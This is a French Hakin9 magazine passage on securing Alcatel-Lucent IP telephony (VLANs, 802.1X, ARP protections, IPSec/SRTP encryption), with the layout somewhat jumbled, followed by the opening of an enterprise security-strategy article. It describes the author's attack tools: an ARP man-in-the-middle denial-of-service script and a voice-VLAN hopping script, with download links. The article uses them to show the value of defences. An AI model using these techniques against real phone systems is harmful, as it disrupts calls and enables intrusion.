La fonction de Wrapper TCP fournit un service de filtre pour les serveurs Linux ou Unix. Lorsqu'un ordinateur Linux non protg est connect au rseau, le systme informatique est expos aux autres utilisateurs du mme rseau. Un pirate peut russir dtecter les utilisateurs connects un serveur spcifique et peuvent dterminer l'identit de chaque poste. Il peut savoir quel moment le poste est au repos et accder au contenu du systme. La fonction Wrapper TCP peut faire office de passerelle filtrante afin d'viter tout accs indsirable. Le Wrapper TCP intercepte et filtre toutes les demandes provenant du rseau Ethernet. Par exemple, si un ordinateur extrieur tente d'utiliser le service FTP, le Wrapper TCP vrifie si cet ordinateur dispose des droits ncessaires aux transferts de fichiers. En fonction du type d'autorisation, l'accs est refus ou approuv. L'intgration du Wrapper TCP l'offre accrot le niveau de scurit en contrlant l'accs Internet pour de nombreux services IP (FTP, telnet, shell, connexion et TFTP) qui sont lis au serveur de communication. Le client doit dfinir quelles sont les applications IP autorises pour chaque adresse IP de la liste des htes de confiance.

Laccs la console de la media gateway via le monde IP est uniquement rserv l'OXE. Tout accs venant dune autre source sera refus.

sparation des mondes TDM et ip


Le micro kernel linux utilis par AlcatelLucent dans ses media gateways offre un lien unique entre le monde TDM et IP qui a aussi t conu pour servir de barrire entre les deux mondes pour tout ce qui ne concerne pas directement la voix. On notera par ailleurs que la media gateway ne travaille pas comme un lment actif sur la solution de tlphonie, mais se contente de transfrer au serveur OXE ou aux lments actifs sur le rseau TDM la signalisation et le flux media. Cest pourquoi, les fonctions de routage IP, de

la scurisation des ip Media Gateways


Le firmware embarqu dans les media gateways est un micro kernel Linux compos uniquement des fonctions ncessaires au bon fonctionnement de la solution. Il ne sagit en aucun cas dun OS traditionnel avec les vulnrabilits inhrentes ces derniers.

Gestion des connexions distance: rTC


Dans un environnement RTC, la solution RMA (Remote Maintenance Access) fournit un niveau de scurit lev pour le terminal de gestion distance un emplacement prdtermin. Le dispositif RMA vrifie l'identit de l'administrateur distant au moyen d'un nom de connexion et d'un mot de passe, suivis d'un rappel. Lorsque le travailleur distance est connect au RMA, les nom de connexion et mot de passe sont de nouveau requis. La scurit est garantie par cette double demande de nom de connexion / mot de passe.

Figure 5. Signalisation de secours des media gateways


4/2009 HAKIN9 15

DOSSIER
redirection de trafic IP ou de redirection ICMP ne sont pas implmentes, car inutiles pour les fonctions retenues. On notera par ailleurs qu'il na t implment aucun service permettant dautoriser un accs depuis les ressources TDM (ISDN, PSTN, etc ) vers les ressources IP. Les fonctions IP sont compltement isoles des trafics voix et signalisation. Les seuls services supports utilisant les technologies TDM et IP sont les suivantes : Cration dun tunnel vers le serveur OXE pour le trafic de signalisation (ISDN, CAS, etc ) permettant la gestion des diffrents appels. Tous les paquets ntant pas en stricte concordance avec cette rgle seront supprims. Le flux voix est encapsul dans des trames RTP pour tre transport par le rseau IP. Les destination des ces flux RTP sont sous contrle de l'OXE et seuls les priphriques enregistrs sur ce dernier pourront recevoir ce flux. Les interfaces publiques ou prives (PRA) de la Media Gateway sont seulement capables de traiter la signalisation et de transfrer le flux voix vers les fonctions interne de la Media Gateway le retraitant. Les ressources ToIP de la Media Gateway sont seulement capables dadresser les protocoles de signalisations (H323, H245, H225, SIP, RAS, etc ) supports par la solution OXE et de transfrer les flux voix vers le LAN (respectivement de les recevoir). est ngatif, le binaire est ignor et la mdia gateway redmarre sur lancienne version. Attention cependant, cette fonctionnalit ne sera disponible dans la solution que si cette dernire a t implmente avec un module SSM. Loption pc port security nest pas active (comportement par dfaut), lensemble du trafic est transfr vers et depuis le port pc de faon transparente. Loption pc port security est bloque: tout le trafic rseau de ce port est bloqu. Le mode filter vlan est retenu: le tlphone IP remplace tous les tag 802.1q des trames provenant du PC au profit du vlan ID 0. Le PC ne peut plus alors accder au VLAN voix, bloquant ainsi toutes possibilits dintrusion ou dinterruption de service par ce biais.

la scurisation des ip phones

Il existe plusieurs types de scurisation des IP Phones.

le contrle des VlAn


Le paramtre strict vlan permet de filtrer les trames entrantes. Il sera activ ds quun VLAN est configur sur les tlphones IP (soit au travers de lAVA, soit de faon manuelle). Si le paramtre strict vlan est activ, le tlphone rejettera les trames arrivant avec un mauvais tag (pas de VLAN ou un numro de VLAN diffrent). Dans le cas ou le tlphone nutiliserait pas loption strict vlan, toutes les trames marques seront rejetes.

Ces lments de configuration ne sont pas accessibles depuis les menus de configurations des tlphones.

Cration d'une relation de confiance entre un ip phone et son oXe


Trois mcanismes ont t implments pour amliorer le niveau de confiance entre tlphones IP et serveurs dappel : Vrification de la requte TFTP : Lors de la phase dinitialisation, la premire action ralise par un tlphone IP est denvoyer une requte au serveur TFTP contenant son adresse MAC. Le mcanisme prsent au niveau

la gestion du port pC
Les tlphones IP ont deux ports ethernet, lun dentre eux tant destin accueillir un poste de travail. Le serveur dappel possde plusieurs options permettant de le contrler :

signature des binaires


La release 8.0 de lOXE a intgr un nouveau mcanisme au sein des media gateways permettant de valider la signature et lintgrit des fichiers binaires reus du serveur TFTP lors de la phase de dmarrage avant leur prise en compte par le systme. Ainsi, lorsquun nouveau binaire est dvelopp par Alcatel Lucent, il est sign laide de la cl priv Alcatel Lucent. A la rception de ce nouveau binaire, la media gateway va vrifier lintgrit du fichier laide de la cl publique dAlcatel Lucent (SHA1 et ECC 384 b). Si le contrle
16 HAKIN9 4/2009

Figure 6. Architecture de l'authentification 802.1X

Tlphonie sur ip

4/2009 HAKIN9

17

DOSSIER
du serveur dappel va vrifier si cette MAC adresse est dj connue du systme et en cours dutilisation par le protocole de signalisation. Dans le cas ou ladresse MAC serait connue et en cours dutilisation, il est fort probable quil sagit dune attaque ou un pirate cherche usurper lidentit dun tlphone existant sur le systme. Le serveur dappel rejettera alors la requte TFTP. Vrification des messages de connexion : Lors de la phase dinitialisation, un tlphone IP va recevoir un message de connexion en provenance du serveur dappel visant tablir la communication. Il est vital dviter une attaque de type MITM ce moment pour viter que le tlphone soit contrl par un serveur pirate. Pour protger le tlphone, ladresse source du message de connexion est compare ladresse relle du serveur dappel (identifie grce au fichier de configuration). Si la comparaison est ngative le paquet sera refus par le tlphone. Protection contre le MAC spoofing : il sagit ici dun contrle additionnel effectu sur le serveur dappel. Lors de linitialisation dun tlphone, le serveur dappel demande ladresse MAC au travers dun message spcifique. La rponse du tlphone est compare ladresse prcdemment identifie (via le message startnoe). Si la comparaison est ngative, une demande de r initialisation du tlphone est envoye par le serveur dappel.

Figure 7. Automatic VLAN Assignment de contrler la validit de linformation qui lui est envoye pour diffrentier le bon grain de livraie. ARP cache poisonning (injection de paquet detype gratuitous ARP) : dans ce cas de figure, un tlphone IP reoit une rponse de type de type ARP reply sans avoir envoy de ARP request. Si aucun mcanisme de protection nest prsent, le tlphone mettra son cache ARP jour avec les informations reues et sera donc empoisonn permettant la redirection du trafic vers un poste tierce. Les protections mise en place au sein mme du firmware des IP Phones rpondent ces deux problmatiques : La fonction anti ARP spoofing : les tlphones IP sont capables de dtecter la prsence de rponses ARP multiples pouvant mettre en vidence une attaque. Une fois la dtection ralise, un log contenant les informations caractrisant lattaque ( savoir adresse MAC, adresse IP et heure) est envoy au serveur dappel et peut ventuellement tre relay vers

Gestion des attaques dtournant le protocole Arp


Un tlphone IP peut tre attaqu au travers de deux axes principaux : ARP Spoofing (falsification de la rponse ARP aprs une requte ARP du tlphone) : ce type dattaque se produit aprs une requte ARP du tlphone en envoyant une rponse ayant des informations visant rediriger le trafic vers une destination diffrente. Le tlphone nayant pas dentre dans son cache ARP au moment de la requte, il na pas moyen
HAKIN9 4/2009

Figure 8. Intgration des modules SSM et MSM

18

Tlphonie sur ip
une plateforme de supervision au travers de traps SNMP. La fonction anti ARP cache poisonning : les tlphones IP ne raliseront des mises jour du cache ARP qu partir de paquets ARP Reply clairement demands (ce qui nest pas le cas des paquets gratuitous ARP). Les paquets gratuitous ARP seront ignors, liminant ainsi les risques de succs de ce type dattaque. amont. Eventuellement, une temporisation peut expirer ou le tlphone IP tre dconnect, ramenant la porte en position OFF. Cette authentification intervient avant tout autre change. L'architecture 802.1x comprend trois composants cls : le systme authentifier (demandeur), tel qu'un poste IP Touch, le serveur d'authentification (serveur) : un serveur d'authentification, d'autorisation et de taxation (AAA). Typiquement, un serveur RADIUS (Remote Access Dial-In User Security server), le systme authentificateur: l'quipement rseau qui assure le contrle d'accs (tel qu'un commutateur/routeur IP Ethernet). La demande dauthentification devant tre valide par le tlphone proviendra toujours du commutateur sur lequel il est raccord. Elle interviendra dans les cas suivants : le tlphone IP est physiquement branch sur le rseau, redmarrage logique du tlphone IP (suite perte de communication avec le serveur dappel par exemple), re-authentification priodique configure au niveau du commutateur.

Validation de l'intgrit des binaires


Les tlphones IP utilisent le protocole TFTP pour tlcharger les nouveaux binaires lors de la phase dinitialisation. Avant la prise en compte de ces derniers, un test dintgrit via le CRC Checksum sera effectu. Si ce test est ngatif, le nouveau binaire sera cart au profit des anciens. Dans un environnement scuris, les binaires des tlphones IP sont signs au moment de la mise en production avec la cl priv Alcatel Lucent. Le tlphone IP pourra alors valider lintgrit des fichiers en utilisant la cl publique dAlcatel Lucent. Attention, mme lorsque les mcanismes de chiffrement seront implments sur la solution d'Alcatel, les changes TFTP resteront en clair.

Si aucune rponse ne provient au commutateur aprs la demande dauthentification du tlphone IP, un message authentication failure sera envoy au tlphone IP. Ce dernier continuera alors la phase dinitialisation et re-essayera

protection du MMi
Linterface home machine des tlphones IP permettant de grer les paramtres rseau peut tre protge grce un mot de passe. Ce dernier est gr au niveau du serveur dappel et doit avoir une longueur minimale de six caractres. Il est le mme pour lensemble des terminaux de la solution de ToIP.

le 802.1X
Depuis la release 7.0 de lOXE, la gamme x8 des IP Touch (4008, 4018, 4028, 4038 & 4068) supporte le protocole 802.1X en version EAP MD5. La fonction gnrale du 802.1x peut tre considre comme une est une porte logique ON/OFF dans les commutateurs Ethernet. Cette porte est en position OFF au dmarrage et gre uniquement les demandes de 802.1x jusqu' la dcision de donner un accs au tlphone IP. A ce stade, la porte est place en position ON de sorte que l'ensemble du trafic du LAN peut tre relay entre le tlphone IP et le rseau en
4/2009 HAKIN9 19

DOSSIER
de sauthentifier 30 s plus tard. Aprs trois tentatives infructueuses, le tlphone rinitialisera compltement le processus de dmarrage. Si un PC est connect derrire le tlphone IP au travers du port PC ddi, une seconde authentification 802.1X aura lieu si les quipements de linfrastructure supportent le multi session. Il faudra par ailleurs attendre la fin de la phase dinitialisation du tlphone IP pour pouvoir initialiser celle du PC. les dlais. Pour rappel, les trois critres essentiels respecter pour assurer une bonne qualit de la voix sont: la gigue, la latence et les pertes de paquets. Afin de permettre d'tablir des communications VoIP de qualit et chiffres, Alcatel et Thales ont choisi une solution de chiffrement matriel pour le serveur OXE et les Media Gateways, capable de traiter simultanment des milliers de sessions de signalisation et des dizaines de flux RTP VoIP avec un retard de transit infrieur 1ms. Le chiffrement matriel est 20 100 fois plus rapide que son quivalent logiciel, en fonction de la taille des paquets. En ce qui concerne les tlphones de la gamme IP Touch, le chiffrement s'effectue dans le microcode et n'a pas d'impact sur les dlais. Par ailleurs, la gamme IP Touch a t conue avec une mmoire de secours afin de pouvoir prendre en charge les lourdes contraintes du chiffrement si ncessaire. trouvent entre le rseau local non scuris/ scurise et la connexion scurise/non scurise pour les composants de l'infrastructure de tlphonie sur IP : SSM : protge le serveur de communication MSM : protge les passerelles IP Media Gateways

la gestion dynamique des vlaN

Bien que proches par leur aspect physique, les modules SSM et MSM ne fonctionnent pas de la mme manire.

le module ssM
Le module SSM est le composant central de la solution de scurit IP Touch. Il est reli par un cordon de raccordement crois RJ45 au serveur de communication sur le port non chiffr et au rseau non scuris sur le port chiffr. Ce module ngocie et tablit des sessions de signalisation chiffres avec des tlphones IP ou des passerelles IP Media Gateways (via MSM), ou encore d'autres serveurs OXE eux mmes protgs par ce composant. Il est transparent pour l'identifiant QoS (802.1p/DiffServ) partir

Alcatel utilise l'AVA (Automatic Vlan Assignment) pour placer chaque tlphone IP sur son VLAN. Ce mcanisme utilise les marques de trame (telles que dfinies dans la norme IEEE 802.1q) afin de placer le tlphone sur un VLAN (sous-rseau IP) spcifique. Le mcanisme AVA (Figure 7) : la premire demande DHCP vrifie le numro VLAN. Cette demande est envoye au VLAN par dfaut, le serveur AVA rpond la demande avec le numro VLAN et une adresse IP non utilise. Certains routeurs vrifient la demande DHCP et une adresse IP non utilise permet aux messages, de transiter correctement par le routeur, le tlphone IP, qui n'accepte que les offres du serveur Alcatel, reoit l'offre et envoie une nouvelle demande DHCP avec une marque 802.1q. Cette marque place le poste dans le bon sous-rseau avec la bonne adresse IP, a rception de la deuxime offre, le poste accepte l'offre du serveur DHCP, cette offre contient toutes les informations (adresse IP et adresse IP du serveur TFTP) pour dmarrer le poste IP.

les modules de scurit


Les modules de scurit SSM et MSM sont des composants cryptographiques qui se

le chiffrement dans la solution alcatel lucent

Le chiffrement impose de lourdes contraintes de traitement sur les systmes IP, un traitement contraignant se traduisant gnralement par un allongement des dlais. Il est important que, pour des communications VoIP en temps rel, le chiffrement n'ait pas de rpercussion sur
20 HAKIN9 4/2009

Tlphonie sur ip

4/2009 HAKIN9

21

DOSSIER
des passerelles IP Media Gateways ou du serveur de communication. Du point de vue IP, il agit comme un pont (sans routage). Il gre galement l'identifiant QoS bas sur la couche 3 et rend le trafic tlphonique (multimdia ou signalisation de contrle des appels) prioritaire par rapport au trafic diffr. points d'extrmit par le biais de sessions de signalisation cryptes. Le chiffrement transparent des modems (et tlcopieurs) est galement assur (avec des contraintes par rapport aux dlais). Un appel pass entre deux tlphones IP enregistrs dans deux systmes diffrents peut tre chiffr si les deux nuds sont scuriss. Le chiffrement sur le rseau se fait galement entre la passerelle IP Media Gateway d'un nud et les tlphones IP ou entre deux passerelles IP Media Gateways. Pour grer le cas d'une installation multi-nuds, Alcatel a amlior la fonction IP Security partir de la release R7.1, de manire permettre la mise en uvre du chiffrement de la signalisation et des flux media en environnement ABC-F. Les pr-requis suivants devront tre respects pour un bon fonctionnement: le noeud local, le noeud de transit et le noeud distant doivent tous tre scuriss, le lien hybride entre les noeuds devra tre dclar comme scuris.

le module MsM
La passerelle IP Media Gateway (carte GD ou INTIP) est connecte au port non chiffr du module multimdia l'aide d'un cordon de raccordement crois RJ45. Le module MSM est charg de chiffrer le trafic de signalisation IP Media Gateway vers le serveur OXE. Il chiffre galement le trafic multimdia (vers d'autres modules multimdia, des tlphones IP, etc.) l'aide de cls de session.

le chiffrement de la signalisation
Les tlphones IP et les passerelles IP Media Gateways sont contrls via des protocoles propritaires appels respectivement UA Noe et IP Link. La signalisation de contrle des appels (du serveur vers les tlphones IP et du serveur vers les passerelles IP Media Gateways) est protge l'aide d'IPSec en mode ESP par l'algorithme de chiffrement AES. Des cls symtriques sont ngocies entre le tlphone IP et le module SSM et changes rgulirement. La signalisation de contrle des appels se trouve ainsi protge au niveau de la confidentialit et de l'intgrit. Les notions d'intgrit (non modification des messages) sont implmentes au travers d'une signature HMAC SHA1 du flux. Attention, la scurit d'une communication est rvalue chaque fois que le processus de distribution des appels est invoqu. Ainsi, une communication pourra dmarrer de faon scurise et continuer avec une scurit dgrade si un transfert impliquant un nud non scuris lieu.

le chiffrement du flux mdia


Les donnes multimdia (voix) sont chiffres l'aide du protocole SRTP utilisant l'algorithme de chiffrement AES. L'avantage apport par SRTP est l'absence de surcharge de la largeur de bande sur rseau WAN par rapport un trafic non chiffr. Aucune complexit n'est ajoute la configuration des services rseau. Des cls symtriques sont utilises; elles changent chaque session RTP. Elles sont transmises par le serveur OXE aux

valuation du niveau de scurit par les utilisateurs


Le niveau de scurit d'une conversation tlphonique est ngoci dynamiquement entre deux tlphones. Par consquent, il est extrmement important que l'on puisse valu d'un coup d'il le niveau mis en uvre pour une conversation donne. Un utilisateur ayant besoin de cette fonction un instant T doit absolument tre capable de savoir si sa conversation est scurise. Pour rpondre cette problmatique, une signalitique visuelle est mise en place. Un cadenas sera prsent sur l'cran en mode scuris, tandis qu'une bonhomme apparaitra en mode non scuris.

Focus sur une erreur de jeunesse


Comme voqu ci-dessus, la solution IP Touch Security est base pour les flux de signalisation sur ltablissement dun lien IPSec grce au mcanisme IKE. Au dmarrage du systme, les demandes de ngociation IKE sont envoyes massivement au botier SSM-BOX. Sur les versions 1.5 et antrieures, le botier SSM-BOX essaie de satisfaire toutes ces ngociations, et chaque nouvelle ngociation ralentit les ngociations dj en cours. Par consquent, le temps daboutissement dune ngociation IKE complte peut tre relativement long et le poste IP Touch concern peut redmarrer
22 HAKIN9 4/2009

Tlphonie sur ip
avant mme la fin de sa ngociation. Pour rguler les demandes, un limiteur du nombre de ngociations entames est mis en place partir de la version 1.6. Ce limiteur a t calibr afin doptimiser une mise en service complte pour un systme jusqu 3500 postes IP. Les graphiques de la Figure 10 montrent limpact du limiteur de ngociation sur les temps de dmarrage. Pour le dmarrage dun systme de 3500 postes, gauche, la version 1.5 na pas permis la stabilisation aprs 9h, et droite, la mise en systme est termine en moins dune heure avec la version 1.6. Les IP Touch Security Module traitent les messages reus dans lordre chronologique grce une file de traitement. Cette dernire intgre des mcanismes de QoS pour la protection des flux indispensable au fonctionnement du systme. Son dimensionnement, pour les versions 1.5 et antrieures, est bas sur une rpartition semi-alatoire des flux. La synchronisation des flux ncessite laugmentation de la taille de cette file. Cela permet dabsorber les pics de trafic prioritaire, et rduit ainsi la perte de trames provoquant le redmarrage intempestif des IP Touch mais, en contrepartie, cela peut augmenter la latence maximum pour traiter une trame. La solution mise en uvre, partir des versions 1.6 des SSM-BOX, consiste en un redimensionnement des files de traitements alli des optimisations de traitement permettant ainsi la prise en compte de la double contrainte dabsorption des pics de trafic prioritaire, et de minimisation de la latence maximale. Les ajustements raliss pour la version 1.6 ont ramen les mises en service dans un comportement prdictible pour tous les types de parc, le temps de mise en service scuris tant de moins dune seconde par poste, soit environ 50 min pour un parc de 3500 postes. Ces ajustements corrigent aussi les phnomnes de redmarrage alatoire de poste IP Touch et prennent en compte les phnomnes de synchronisation du parc. La Figure 11 base sur des tests avec une version de firmware 2.0.6, montre une optimisation permettant de descendre 25 mn.

Mise en vidence pratique du rle des lments de scurisation

La mise en pratique du concept nonc ci-dessus a t ralis l'aide des lments suivants : vconfig pour se placer dans le vlan voix, ettercap pour raliser le man in the middle, scapy pour la gnration des paquets de la charge.

D`abord on commence par le script AlcatelCallBreaker et la mise en vidence du rle du chiffrement de la signalisation. Le chiffrement des diffrents flux d'une solution de ToIP peut rester un peu abscons vis vis d'un utilisateur externe. Pour dmontrer ces fonctionnalits, aprs des recherches infructueuses sur le web, j'ai t amen dvelopper le script AlcatelCallbreaker pour mettre en vidence l'importance de ce rle sur la signalisation. Ce script a t cr pour mettre en uvre un dni de service sur les postes IP avec le protocole de signalisation propritaire d'Alcatel. L'ide est tout simplement d'envoyer la squence de raccroch un poste tlphonique lorsque l'on dtecte qu'il est actif sur le rseau. Ceci se droule en trois tapes principales: ralisation d'un man in the middle pour voir passer la signalisation, coute des paquets de signalisation, envoi de la charge pour raliser un dnis de service sur les IP Phones.

Si vous utilisez ce script sur un environnement scuris, vous pourrez constater qu'il est devenu totalement inoffensif. En effet, en mode scuris, notre tlphone ip utilise IPSec pour scuriser son flux. Les messages envoys par l'attaquant arrivant en clair, ils ne seront pas pris en compte et l'attaque aura ainsi chou. Rq1 : Il me semble important de prciser que pour que cette dmonstration prenne forme, il est absolument ncessaire de supprimer toute les possibilits de combattre les MITM via ARP cache poisonning. En effet, si le script ne voit pas le flux de signalisation pass, il sera totalement inoffensif. Rq2 : mme si nous russissons un MITM dans un environnement chiffrant les flux, le script sera incapable d'interprter la signalisation protge par IPSEC. Sans interprtation cohrente, il n'y aura donc aucun envoi de charge offensive. Rq3 : le mme type d'exprience pourra tre mis en uvre sur le flux

Une fois la charge envoye, le poste va l'interprter si les compteurs du protocole de signalisation sont correctement implments. Aprs acceptation des paquets, le tlphone va se retrouver synchrone avec les compteurs du poste attaquant et non plus de l'OXE, ce qui va provoquer un gel du poste dans un premier temps, puis un redmarrage aprs une deux minutes d'inactivit.

4/2009 HAKIN9

23

DOSSIER
mdia avec des utilitaires permettant d'insrer des messages dans le flux RTP (RTPInsertSound, RTPInject ou RTPMix).

Mise en vidence de l'intrt du 802.1X


Pour mettre en vidence l'importance des contrles d'accs au rseau dans un environnement de tlphonie sur IP, je vous propose de jouer avec l'accs au VLAN voix. Pour cette dmonstration, j'ai repris l'excellente ide ayant donn naissance au script Voip Hopper en environnement Cisco et l'ai adapt au monde AlcatelLucent. Cela a donn naissance Plawava (Playing with AVA). Comme voqu prcdemment dans cet article, les tlphones IP reoivent l'information VLAN voix au travers de l'option propritaire 43 distribue par le DHCP. L'ide ici est donc de prendre le cble reliant un tlphone IP au rseau et d'muler son comportement pour faire ragir le DHCP et recevoir une rponse. Pour arriver ce rsultat, il suffit de crer un paquet de type DHCP discover reprenant le formalisme des IP Touch. La Figure 13 montre la mise en application dans plawava. Une fois le DHCP discover mis sur la vlan data, le poste de l'attaquant va

rceptionner la rponse, l'analyser et se placer dans le VLAN voix en utilisant le protocole 802.1q. Le rsultat final du script est prsent en Figure 14. La mise en uvre de plawava a t ralise au travers des outils suivants : la langage perl, le module perl net::dhcp:packet.

sur internet
Alcatel-Lucent : http://www.alcatel-lucent.com RTPInsertSound : http://www.voipsa.com/Resources/ tools.php RTPMix : http://www.voipsa.com/Resources/ tools.php RTPInject : http://www.voipsa.com/Resources/ tools.php AlcatelCallBreaker : http://www.cedric-baillet.fr/ spip.php?article11 Plawava : http://www.cedric-baillet.fr/ spip.php?article6

Les commandes systmes vconfig et dhclient. Un script comme plawava montre que l'utilisation de vlan ne rsout pas toutes les problmatiques de scurit. Si une fois sur le rseau, cela permet une bonne sparation des flux, jouer avec en amont pour se placer directement dans le VLAN voix peut permettre de contourner cet lment. Le paramtrage du 802.1x sur les ports des utilisateurs permettra de bloquer totalement ce type de script. En effet, sans une authentification positive, aucun accs rseau ne sera ouvert sur le lien. Les possibilits d'attaques sont donc alors trs fortement rduites.

pour conclure
Vous aurez pu voir dans cet article que l'diteur Alcatel Lucent a rellement fait l'effort de fournir une solution de tlphonie sur IP intgrant la scurit de bout en bout.

Nanmoins, la solution prsente est rduite son minimum et n'intgre par un cosystme volu. Il sera souvent ncessaire de refaire tout ce travail soi mme pour obtenir un environnement sain et scuris, les cosystme n'arrivant que rarement sous forme d'appliance. Cette remarque peut paratre anodine au premier abord, cependant, il n'est pas rare de constater que cet aspect des choses n'est pas toujours pris en compte par des quipes de tlphonistes n'ayant pas les cultures systmes et rseaux ncessaires pour avoir une vision globale des problmatiques de scurit. Ceci montre bien la ncessit de dsormais travailler avec des quipes pluridisciplinaires. Par ailleurs, n'oublions pas non plus que la scurit dpend aussi trs fortement de deux lments qui n'ont pas t abords, savoir l'infrastructure et les processus. Le LAN me semble trs important prendre en compte pour apporter la scurit au plus prs des ports utilisateurs et scuriser ainsi le primtre le plus en amont possible. Un certain nombre d'articles traitant de ce sujet sont parus dans le hors srie Cisco, l'un d'entre eux tant disponible en tlchargement gratuit sur le site du journal. Je ne peux que vous recommander de les lires si ce n'est dj fait.

Cdric Baillet

Aprs avoir travaill pendant quatre annes sur les technologies rseaux Cisco en tant qu'ingnieur de production, Cdric Baillet a t consultant sur les solutions de ToIP et les problmatiques scurit affrentes de 2004 2007. Il a aujourd'hui intgr une des quipes marketing d'Orange Business Services pour travailler sur les offres de services scurit autour des nouvelles solutions de communications.

24

HAKIN9 4/2009

Tlphonie sur ip

4/2009 HAKIN9

25

Nicolas ReNaRd

Degr de difficult

FOCUS Stratgie de scurit en entreprise


l'objectif de cet article est d'expliquer la dmarche suivre pour la mise en place d'une stratgie de scurit en entreprise. Quelles sont les informations collectes, quelle dmarche mettre en place pour disposer d'un systme d'information le plus scuris possible.

Cet artiCle exPlique...


Un rappel sur la scurit en entreprise. la mise en place d'une stratgie de scurit. les dmarches possibles l'heure actuelle. Un rappel sur les normes, standards et mthodes. Quoi faire aprs un piratage.

a manire de mettre en place la scurit dans une entreprise doit tre rflchit et parfaitement planifie. Mettre en place des mesures de scurit ne garantit pas que lentreprise soit labri de tout problme. De plus, souvent des mesures de scurit sont mises en place en fonction des besoins et non pas de manire globale. Une stratgie de scurit digne de ce nom doit tre en perptuelle volution, spcifique et aussi gnrale! Il est donc ncessaire de planifier sa stratgie de scurit afin quelle ne possde pas des brches ou des manques et quelle demeure un chec. Nous allons donc dcouvrir au cours de cet article les fondements de la mise en place dune stratgie de scurit et la rflexion adopter pour conduire convenablement celle-ci au sein de lentreprise.

Pourquoi scuriser son Systme dinformations?

Ce qu'il faut Savoir...


Possder des notions en scurit. connaissance rseaux et systmes. 26 HAKIN9 4/2009

Avant de commenc traiter de stratgie de scurit pour lentreprise, il ma sembl bon de faire un petit rappel sur ce que reprsente aujourdhui la scurit pour une entreprise et pourquoi la met-elle en place; Dautant plus que ce domaine de comptence est de plus en plus la mode et que les entreprises sont de plus en plus consciente du besoin que peut reprsenter la scurit pour leur SI.

Aujourdhui on constate que nous sommes de plus en plus dpendants des systmes dinformations et quils remplissent des fonctions toujours plus critiques. De ce fait, nous devons nous assurer quils nous offrent un bon niveau de scurit. Qui plus est le fait que de plus en plus les diffrents priphriques convergent pour devenir des appareils numriques dots de fonctions rseau qui intensifie le besoin dapplication de mesures de scurit afin dassurer leur bon fonctionnement (fiabilit, disponibilit), de protger les donnes contre la corruption (intgrit) et contre la divulgation (confidentialit, respect de la vie prive). La scurit est devenue dsormais, un enjeu vital pour les entreprises. Nombreuses sont-celles qui ne pourraient plus travailler et qui risqueraient la faillite, si leur systme dinformation venait tomber en panne pendant plusieurs jours ou tait dtruit. La scurit doit donc tre intgre dans les activits normales et intgre au cycle de vie du systme dinformation. Il sagit dun processus itratif qui nest jamais fini et qui doit tre constamment corrig et test. Pour certaines entreprises elle est une preuve de srieux, voire mme un avantage comptitif quelles essaient de dvelopper pour attirer de nouveaux clients, diminuer les provisions ncessaires, et garantir leur survie sur le long terme.

StrAtgIe de ScurIt eN eNtreprISe


Deux approches de la scurit
Tableau 2. Tableau des terminologies termes EBIOS dfinitions EBIOS (Expression des Besoins et Identification des Objectifs de Scurit) va permettre d'apprcier et de traiter les risques relatifs la scurit des systmes d'information (SSI). Elle permet aussi de communiquer leur sujet au sein de l'organisme et vis--vis de ses partenaires afin de contribuer au processus de gestion des risques SSI. Mthode permettant l'analyse des risques, ainsi que le contrle et la gestion de la scurit informatique ; Acronyme de "mthode harmonise d'analyse des risques" La mthode FEROS signifie :Fiche d'Expression Rationnelle des Objectifs de Scurit des Systmes d'informations. Annual Loss Expectation Acceptable User Policies Le primtre zro de l'entreprise reprsente le cur du SI. Il reprsente les applications mtiers et les composant de l'infrastructure ncessaire la survit de l'entreprise. On parle de ce primtre principalement dans la mise en place de PRA (Plan de Reprise d'activit) Extensible Authentication Protocol over Lan. Permet la communication entre le commutateur et les autres quipements et les donnes peuvent transiter en communicant sur le port Ethernet. Single Loss Expectancy Exposure Factor Il s'agit d'un standard international (ISO/CEI 15408) pour la scurit des systmes d'information. Le nom complet du standard est Common Criteria for Information Technology Security Evaluation. En franais, on emploie souvent l'expression Critres communs. Ils reprsentent catalogue de fonctionnalits dont l'objectif est de fournir un langage structur pour exprimer ce que doit faire un produit de scurit. Les normes sont des accords documents contenant des exigences ou autres critres prcis destins tre utiliss systmatiquement en tant que rgles, lignes directrices pour assurer que activits, processus ou produit sont raliss de manire conforme satisfaire le besoin des clients. Les organismes respectant scrupuleusement les exigences dictes par ces normes sont des organismes dit "certifis ISO" par des auditeurs accrdits dans le domaine. Systme d'information. oublier dventuelle relation avec des partenaires. Ceci complique alors son champ daction en imposant des contraintes qui ne sont pas forcment simple mettre en place ou dordre technologique (matriel trop ancien par exemple). La modlisation des processus mtier va permettre de reprsenter les chemins quempruntent les donnes notamment dans le cadre du primtre zro de lentreprise. On pourra saider dune analyse des besoins EBIOS qui permettra en plus de dterminer les besoins en scurit, de permettre de rfrencer tous
4/2009 HAKIN9 27

Une approche Proactive : Il sagit de lapproche la plus importante et celle adopter. Avec une approche de ce type, les administrateurs vont effectuer des analyses de risques, des tudes de vulnrabilits, mettre en place des points de contrles, outils de dtections, raliser des tudes EBIOS, FEROS etc. au cours de lvolution de leur SI. Toutes machines, serveurs, matriels de linfrastructure doit tre convenablement scuris et autoris pntrer sur le rseau avant toute connexion celui-ci. Afin de dterminer une attitude de type proactive il peut tre intressant de matriser et de dfinir ces diffrents points : comprendre le fonctionnement de lentreprise, effectuer des analyses de risques, de vulnrabilits, de besoin type EBIOS, MEHARI, FEROS etc., tablir et mettre en place des rgles de scurit, former votre personnel, protger et dterminer votre capital.

MEHARI

FEROS ALE AUP primtre zro

DCSSI

SLE EF Les critres communs

A noter que ces diffrents points devront tre ralis frquemment pour viter de voir apparatre des brches dans la scurit ainsi que pour dcouvrir dventuels problmes de scurit qui nexistaient pas auparavant et qui avec le temps sont apparus via lvolution des outils sur le march. Une approche ractive : Cette approche a t celle, la plus utilis pendant longtemps. Son principal dfaut est la mise en place d'actions de protections du SI et de rgles de scurit aprs avoir t confront au problme. On met en place des mcanismes de scurit en fonction des besoins et des problmes vcus. Cette approche ne permet donc pas de disposer dune scurit optimale, suffisante, et cohrente avec ce que recherchent les entreprises aujourdhui.

Normes ISO

SI

Comprendre le fonctionnement de lentreprise

Aujourdhui, les systmes informatiques sont capables de supporter plusieurs

protocoles rseaux, des milliers dapplications, des quantits toujours plus importantes dutilisateurs (nomades, locales, prestataires, invits). Il est alors ncessaire pour les diffrentes quipes travaillant sur le systme dinformation de connatre ces diffrents protocoles mais aussi les flux fonctionnels/processus mtiers et les schmas dynamiques des interactions entre les salaris de lentreprise. Ces diffrentes solutions amnent tout administrateur connatre les lois et les rglementations officielles ainsi que leur mise jour, mais aussi les flux et les mthodes de travail sans

